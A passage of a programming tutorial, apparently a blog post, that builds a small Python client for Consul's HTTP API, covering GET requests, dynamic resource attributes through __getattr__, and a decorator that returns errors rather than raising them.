it. The choice of Python should be seen as a minor implementation consideration. Nevertheless, it will bring us the powerful requests package and a nice repl to manually explore remote services. Its popularity also suggests we are likely to be able to integrate our future package in a future project. To keep things practical, requests will hit Consul HTTP endpoints, providing us with a handy interface for our infrastructure. Consul, as a whole, it is a tool for discovering and configuring services in your infrastructure. Just download the appropriate binary, move it in your $PATH and start a new server : consul agent -server -bootstrap-expect 1 -data-dir /tmp/consul -node consul-server We also need python 3.4 or 2.7, pip installed and, then, to download the single dependency we mentioned earlier with pip install requests==2.7.0. Now let's have a conversation with an API ! Sending requests APIs exposes resources for manipulation through HTTP verbs. Say we need to retrieve nodes in our cluster, Consul documentation requires us to perform a GET /v1/catalog/nodes. import requests def http_get(resource, payload=None): """ Perform an HTTP GET request against the given endpoint. """ # Avoid dangerous default function argument `{}` payload = payload or {} # versioning an API guarantees compatibility endpoint = '{}/{}/{}'.format('localhost:8500', 'v1', resource) return requests.get( endpoint, # attach parameters to the url, like `&foo=bar` params=payload, # tell the API we expect to parse JSON responses headers={'Accept': 'application/vnd.consul+json; version=1'}) Providing consul is running on the same host, we get the following result. In [4]: res = http_get('catalog/nodes') In [5]: res.json() Out[5]: [{'Address': '172.17.0.1', 'Node': 'consul-server'}] Awesome : a few lines of code gave us a really convenient access to Consul information. Let's leverage OOP to abstract further the nodes resource. Mapping resources The idea is to consider a Catalog class whose attributes are Consul API resources. A little bit of Python magic offers an elegant way to achieve that. class Catalog(object): # url specific path _path = 'catalog' def__getattr__(self, name): """ Extend built-in method to add support for attributes related to endpoints. Example: agent.members runs GET /v1/agent/members """ # Default behavior if name in self.__dict__: returnself.__dict__[name] # Dynamic attribute based on the property name else: return http_get('/'.join([self._path, name])) It might seem a little cryptic if you are not familiar with built-in Python's object methods but the usage is crystal clear : In [47]: catalog_ = Catalog() In [48]: catalog_.nodes.json() Out[48]: [{'Address': '172.17.0.1', 'Node': 'consul-server'}] The really nice benefit with this approach is that we become very productive in supporting new resources. Just rename the previous class ClientFactory and profit. class Status(ClientFactory): _path = 'status' In [58]: status_ = Status() In [59]: status_.peers.json() Out[59]: ['172.17.0.1:8300'] But... what if the resource we call does not exist ? And, although we provide a header with Accept: application/json, what if we actually don't get back a JSON object or reach our rate limit ? Reading responses Let's challenge our current implementation against those questions. In [61]: status_.not_there Out[61]: <Response [404]> In [68]: # ok, that's a consistent response In [69]: # 404 HTTP code means the resource wasn't found on server-side In [69]: status_.not_there.json() --------------------------------------------------------------------------- StopIteration Traceback (most recent call last) ... ValueError: Expecting value: line 1 column 1 (char 0) Well that's not safe at all. We're going to wrap our HTTP calls with a decorator in charge of inspecting the API response. def safe_request(fct): """ Return Go-like data (i.e. actual response and possible error) instead of raising errors. """ def inner(*args, **kwargs): data, error = {}; one try: res = fct(*args, **kwargs) except requests.exceptions.ConnectionErroras error: returnNone, {'message': str(error), 'id': -1} if res.status_code == 200 and res.headers['content-type'] == 'application/json': # expected behavior data = res.json() elif res.status_code == 206 and res.headers['content-type'] == 'application/json': # partial response, return as-is data = res.json() else: # something went wrong error = {'id': res.status_code, 'message': res.reason} return res, error return inner # update our old code @safe_request def http_get(resource): # ... This implementation stills require us to check for errors instead of disposing of the data right away. But we are dealing with network and unexpected failures will happen. Being aware of them without crashing or wrapping every resources with try/catch is a working compromise. In [71]: res, err = status_.not_there In [72]: print(err) {'id': 404, 'message': 'Not Found'} Conclusion We just covered an opinionated python abstraction for programmatically expose remote resources. Subclassing the objects above allows one to quickly interact with new services, through command line tools or interactive prompt. Yet, we only worked with the GET method. Most of the APIs allow resources deletion (DELETE), update (PUT) or creation (POST) to name a few HTTP verbs. Other future work could involve : authentication smarter HTTP code handler when dealing with forbidden, rate limiting, internal server error responses Given the incredible services that emerged lately (IBM Watson, Docker, ...), building API clients is a more and more productive option to develop innovative projects. About the Author Xavier Bruhiere is a Lead Developer at AppTurbo in Paris, where he develops innovative prototypes to support company growth. He is addicted to learning, hacking on intriguing hot techs (both soft and hard), and practicing high intensity sports.
Read more
  • 0
  • 0
  • 8413
Modal Close icon
Modal Close icon